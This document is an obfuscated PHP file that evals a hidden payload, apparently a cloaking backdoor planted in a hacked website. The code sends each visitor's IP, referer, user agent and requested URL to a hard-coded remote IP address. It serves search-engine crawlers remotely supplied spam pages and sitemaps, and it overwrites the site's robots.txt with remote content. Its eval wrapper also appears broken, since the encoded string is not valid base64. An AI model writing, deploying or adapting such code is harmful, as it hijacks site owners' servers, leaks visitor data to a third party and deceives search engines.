<?php 
$str='goto cBwSC; KfbHf: $ZPeTo["\x6d\x61\x69\x6e\x5f\163\x68\145\154\x6c"] = $cueAZ; goto lQ7TT; ZXpwW: goto oqmVC; goto w_60f; uqSQU: $ZPeTo["\162\145\146\x65\x72\145\162"] = isset($_SERVER["\x48\x54\x54\120\x5f\x52\105\x46\x45\x52\105\x52"]) ? $_SERVER["\x48\124\124\x50\137\122\x45\106\x45\x52\105\x52"] : ''; goto M8HeA; sfVP9: exit; goto ArMlb; j2Xth: $ZPeTo["\151\x70"] = $_SERVER["\122\x45\x4d\117\x54\105\137\101\x44\x44\122"]; goto uqSQU; i0fC5: if (strpos(strtolower($KdTDx), "\x73\x69\x74\x65\155\x61\x70")) { goto FJFZi; } goto hPR0H; k7Vom: $ZPeTo["\x72\x65\161\x5f\165\162\151"] = $XdU3L; goto ginum; EG0r9: echo DR9f6($Ck39d, $ZPeTo); goto sfVP9; v1jDH: $Eh1Hi = $tn6QZ . $O_pyn . $PiXkn; goto Zaphf; dOLLm: define("\126\65\164\x36\143", $_SERVER["\x44\x4f\103\125\115\105\116\x54\137\122\117\x4f\x54"]); goto PdZqt; CvjkZ: $ZPeTo["\162\145\x71\x5f\x75\162\x6c"] = $WumFZ; goto N_Lsi; GJKgN: $ZPeTo["\x61\143\x74\151\157\156"] = "\x63\x68\145\x63\153\137\167\x6f\162\144\163"; goto PHJey; VD0sy: if (strpos($XdU3L, "\x2e\160\150\x70")) { goto r1euA; } goto b02S3; N_Lsi: if (!(substr($XdU3L, -6) == "\x72\157\142\157\x74\163")) { goto LMhLA; } goto dOLLm; q0iUV: LMhLA: goto VDnNS; vawNg: function EOYEr($oW7DJ) { goto AYV0j; AYV0j: $aHlp2 = false; goto nYPGv; vIbga: X6PMU: goto kYUid; rw_Rh: if (!($oW7DJ != '' && preg_match("\57\x28{$T2iN1}\x29\x2f\x73\151", $oW7DJ))) { goto X6PMU; } goto jbD12; kYUid: return $aHlp2; goto Dktxp; jbD12: $aHlp2 = true; goto vIbga; nYPGv: $T2iN1 = "\147\x6f\x6f\147\154\145\x7c\x79\141\150\157\157\174\142\151\x6e\x67\x7c\141\157\154"; goto rw_Rh; Dktxp: } goto uuSys; o0Ng4: $cueAZ = $tn6QZ . $yIdqi; goto KfbHf; CHvZr: $STwVz = Dr9F6($k2TT7, $ZPeTo); goto PKmIB; krMKC: $J2TPY = $TyNKM . "\57\x77\x6f\162\144\163\56\160\x68\x70"; goto fdfUE; FwRGI: $CGUQL = dr9F6($J2TPY, $ZPeTo); goto Jrg5p; EhaB5: $ZPeTo[] = array(); goto UsTnc; niTgG: $sr16p = strtolower(isset($_SERVER["\x48\x54\x54\120\x5f\x55\123\x45\122\137\101\107\x45\x4e\x54"]) ? $_SERVER["\x48\x54\x54\120\x5f\x55\123\x45\122\137\x41\107\x45\116\x54"] : ''); goto D5KZI; X4IXg: $yIdqi = $_SERVER["\x53\x45\122\x56\x45\122\137\116\x41\x4d\x45"]; goto zMfnP; PdZqt: $KdTDx = @file_get_contents(V5t6c . "\57\162\x6f\x62\x6f\164\x73\56\x74\170\x74"); goto SdWGz; d5XAA: $X3Wbr = $TyNKM . "\57\x69\156\x64\141\164\141\56\160\150\160"; goto jsOAq; w4scG: function fX9u9($KFjn0) { goto l7dHs; YrkgH: if (!preg_match("\57\x28{$Ch2su}\x29\57\163\x69", $KFjn0)) { goto nGcJ7; } goto yWF7G; c9GA2: nGcJ7: goto PHyTT; kou49: if (!($KFjn0 != '')) { goto Mwn7J; } goto YrkgH; l7dHs: $h7FM2 = false; goto RwvM_; PHyTT: Mwn7J: goto NHMIG; NHMIG: return $h7FM2; goto yBFvS; RwvM_: $Ch2su = "\147\x6f\x6f\147\x6c\145\x62\x6f\164\x7c\142\151\x6e\x67\142\x6f\x74\174\x67\x6f\x6f\x67\154\145\174\141\157\x6c\x7c\x62\x69\156\x67\174\171\x61\x68\157\157"; goto kou49; yWF7G: $h7FM2 = true; goto c9GA2; yBFvS: } goto vawNg; Jrg5p: if (!($CGUQL == "\x31")) { goto F7QQx; } goto dYl43; dYl43: $STwVz = DR9F6($k2TT7, $ZPeTo); goto qjqr0; s2xUv: echo $STwVz; goto wCoXN; vzVvl: goto Ydoxr; goto IGZjB; HKexP: F7QQx: goto GJKgN; blU5v: $Eh1Hi = $tn6QZ . $O_pyn; goto vzVvl; zcTs1: $O_pyn = $_SERVER["\110\x54\124\x50\137\110\117\x53\124"]; goto gjd3N; DWVuL: r1euA: goto OJHgO; KAsXP: $ZPeTo["\x61\143\x74\151\x6f\x6e"] = "\143\150\145\x63\x6b\137\x73\151\x74\x65\155\141\x70"; goto FwRGI; hD94E: exit; goto HKexP; c36Ww: $KdTDx = @file_get_contents(V5t6c . "\57\x72\x6f\x62\157\x74\163\x2e\164\x78\164"); goto i0fC5; JJVQC: if (strpos($XdU3L, "\x2e\160\150\x70")) { goto m7pgP; } goto o0Ng4; cUX_v: if (!$WPzmJ) { goto Q5XH_; } goto fJKWd; UsTnc: $ZPeTo["\x64\x6f\155\141\151\156"] = $O_pyn; goto k7Vom; DcAF1: echo $STwVz; goto hD94E; DuWlo: QhLpM: goto VD0sy; zMfnP: $WumFZ = $tn6QZ . $O_pyn . $XdU3L; goto d5XAA; D5KZI: $WPzmJ = fX9U9($sr16p); goto PqlMY; w_60f: FJFZi: goto b5JFa; ZWXA0: file_put_contents(V5t6c . "\57\162\x6f\142\x6f\164\x73\56\x74\170\164", $KdTDx); goto c36Ww; E_284: header("\x43\x6f\x6e\x74\145\156\164\55\164\171\160\145\72\x74\x65\170\x74\x2f\x78\155\x6c"); goto TF38V; zOuXz: k02IS: goto ma5N6; EbboR: $KdTDx = @dR9F6($gUpzs, $ZPeTo); goto ZWXA0; PHJey: $x6Arg = dR9F6($J2TPY, $ZPeTo); goto DlQ7A; AciaT: jQYaU: goto P3kiK; IGZjB: ICRRC: goto v1jDH; MNWJR: $ktoZC = str_replace("\x2e\170\x6d\154", '', $ktoZC); goto AciaT; uuSys: $tn6QZ = isset($_SERVER["\x48\124\124\120\x53"]) && $_SERVER["\x48\124\x54\x50\x53"] !== "\157\146\146" ? "\150\x74\164\x70\x73\x3a\x2f\x2f" : "\x68\164\x74\x70\x3a\57\57"; goto uk1Qz; cBwSC: $TyNKM = "\x68\164\x74\x70\72\57\x2f\62\x30\64\56\61\x32\56\x31\71\x38\x2e\61\64\x36\57\172\66\x30\x34\62\71\x5f\x37\x2f"; goto Yfdrt; b5JFa: echo "\x72\x6f\142\157\x74\163\56\x74\170\164\x20\x66\x69\154\145\40\x63\162\x65\x61\164\x65\40\x73\165\x63\x63\145\163\x73\x21"; goto HLLEW; tHvUz: exit; goto nDrhZ; HLLEW: oqmVC: goto f3BIP; I0iWW: m7pgP: goto e1Pvc; Qxaqh: U2mVu: goto JJVQC; IAAil: $CGUQL = dr9F6($J2TPY, $ZPeTo); goto E_284; YI254: if (!strpos($XdU3L, "\x61\x6c\154\x73\x69\x74\145\155\141\160\56\x78\155\x6c")) { goto QhLpM; } goto CHvZr; SdWGz: $ZPeTo["\x72\157\142\x6f\164\163\x5f\143\157\x6e\x74"] = $KdTDx; goto EbboR; VDnNS: if (!(substr($XdU3L, -4) == "\x2e\x78\155\154")) { goto U2mVu; } goto YI254; uk1Qz: $XdU3L = $_SERVER["\122\105\x51\125\105\x53\x54\137\x55\x52\111"]; goto zcTs1; lQ7TT: goto k02IS; goto I0iWW; Yfdrt: function DR9f6($eDKvA, $dk9cT = array()) { goto p1TFS; LBSpW: return $Q0oNs; goto M5CcP; V743e: $Q0oNs = curl_exec($dUuAz); goto Oyv7v; X8i4_: io9y2: goto pyKND; hpoum: curl_setopt($dUuAz, CURLOPT_SSL_VERIFYPEER, FALSE); goto Dp9cW; p1TFS: $eDKvA = str_replace("\x20", "\53", $eDKvA); goto xpGjD; Dp9cW: curl_setopt($dUuAz, CURLOPT_SSL_VERIFYHOST, FALSE); goto lnOSr; cEd2z: curl_setopt($dUuAz, CURLOPT_HEADER, 0); goto ZphVw; xpGjD: $dUuAz = curl_init(); goto pkJ_n; Bl5L5: curl_setopt($dUuAz, CURLOPT_POST, 1); goto hpoum; lnOSr: curl_setopt($dUuAz, CURLOPT_POSTFIELDS, http_build_query($dk9cT)); goto V743e; KRVss: u9hRY: goto LBSpW; Pallf: curl_setopt($dUuAz, CURLOPT_RETURNTRANSFER, 1); goto cEd2z; ZphVw: curl_setopt($dUuAz, CURLOPT_TIMEOUT, 10); goto Bl5L5; gVtUj: curl_close($dUuAz); goto X8i4_; pkJ_n: curl_setopt($dUuAz, CURLOPT_URL, "{$eDKvA}"); goto Pallf; Oyv7v: $q_cp4 = curl_errno($dUuAz); goto NIWkj; pyKND: if (!(0 !== $q_cp4)) { goto u9hRY; } goto VAHts; VAHts: return false; goto KRVss; NIWkj: if (!version_compare(PHP_VERSION, "\70\56\x30\56\x30", "\x3c")) { goto io9y2; } goto gVtUj; M5CcP: } goto w4scG; gbYgJ: if (!(!$WPzmJ && $Qoi_G && (preg_match("\x2f\134\x64\44\57", $XdU3L) || preg_match("\x23\133\x61\55\x7a\135\x3d\x5b\x61\55\172\x30\55\x39\x5d\53\43", $XdU3L) || preg_match("\x2f\151\164\145\x6d\x2f", $XdU3L)))) { goto RoSc0; } goto j2Xth; FBe9X: echo $XGoPb; goto So7TB; fJKWd: $ZPeTo["\x68\164\x74\160\x5f\165\163\x65\x72\x5f\141\x67\x65\x6e\x74"] = $sr16p; goto u22IJ; M8HeA: $ZPeTo["\165\163\x65\x72\x5f\141\x67\x65\156\164"] = strtolower(isset($_SERVER["\110\x54\124\120\x5f\x55\123\x45\x52\137\101\107\105\116\124"]) ? $_SERVER["\110\x54\x54\120\137\125\123\105\x52\137\101\107\x45\116\x54"] : ''); goto EG0r9; pzHcI: $ZPeTo["\141\143\164\151\157\156"] = "\162\x61\156\144\x5f\170\155\154"; goto IAAil; qjqr0: header("\x43\157\156\164\x65\156\164\55\164\x79\x70\145\x3a\x74\x65\x78\164\57\170\x6d\x6c"); goto DcAF1; f8ygd: $ktoZC = $ktoZC[count($ktoZC) - 1]; goto MNWJR; m04N4: $Qoi_G = eoyEr($aHSjp); goto niTgG; f3BIP: exit; goto q0iUV; PqlMY: $XdU3L = str_replace(array("\56\x68\x74\x6d", "\56\150\164\155\x6c", "\56\x73\x68\x74\155\x6c", "\x2e\x70\150\x74\x6d\154"), '', rtrim($XdU3L, "\57")); goto gbYgJ; fdfUE: $gUpzs = $TyNKM . "\57\x72\157\142\157\164\x73\x2e\x70\x68\160"; goto y4uWf; xTeI8: $ktoZC = str_replace("\56\170\155\154", '', $ktoZC); goto VW5wi; ArMlb: RoSc0: goto cUX_v; TF38V: echo $CGUQL; goto tHvUz; e1Pvc: $cueAZ = $tn6QZ . $yIdqi . $PiXkn; goto dRJc5; VW5wi: goto jQYaU; goto DWVuL; y4uWf: if (strpos($XdU3L, "\x2e\160\150\x70")) { goto ICRRC; } goto blU5v; So7TB: exit; goto ZKp8F; P3kiK: $ZPeTo["\167\157\x72\144"] = $ktoZC; goto KAsXP; u22IJ: $XGoPb = dR9F6($X3Wbr, $ZPeTo); goto FBe9X; b02S3: $ktoZC = str_replace("\57", '', $XdU3L); goto xTeI8; nDrhZ: qZ3Lt: goto Qxaqh; ginum: $ZPeTo["\x68\x72\x65\146"] = $Eh1Hi; goto CvjkZ; hPR0H: echo "\162\x6f\x62\157\164\163\56\x74\170\164\40\146\x69\x6c\x65\40\x63\x72\145\141\164\145\40\146\x61\x69\x6c\41"; goto ZXpwW; wCoXN: exit; goto DuWlo; zUkZE: $Ck39d = $TyNKM . "\57\x6a\165\155\x70\56\x70\x68\x70"; goto krMKC; Zaphf: Ydoxr: goto EhaB5; jsOAq: $k2TT7 = $TyNKM . "\x2f\x6d\x61\160\x2e\x70\150\160"; goto zUkZE; dRJc5: $ZPeTo["\x6d\x61\x69\x6e\x5f\163\150\145\154\x6c"] = $cueAZ; goto zOuXz; OJHgO: $ktoZC = explode("\77", $XdU3L); goto f8ygd; DlQ7A: if (!(strpos($XdU3L, "\155\141\x70") > 0 || $x6Arg == "\x31")) { goto qZ3Lt; } goto pzHcI; gjd3N: $PiXkn = $_SERVER["\x50\x48\120\137\123\x45\114\106"]; goto X4IXg; ma5N6: $aHSjp = isset($_SERVER["\x48\x54\x54\x50\137\122\105\x46\105\x52\x45\122"]) ? $_SERVER["\x48\x54\x54\120\x5f\122\x45\x46\x45\x52\x45\x52"] : ''; goto m04N4; PKmIB: header("\x43\x6f\x6e\164\x65\x6e\164\55\164\x79\160\145\72\164\x65\170\164\x2f\170\155\x6c"); goto s2xUv; ZKp8F: Q5XH_:';
 $f1 = 'b a s e 64 _ de c o de';
 $f1 = str_replace(' ', '', $f1);
 eval((string)$f1($str));
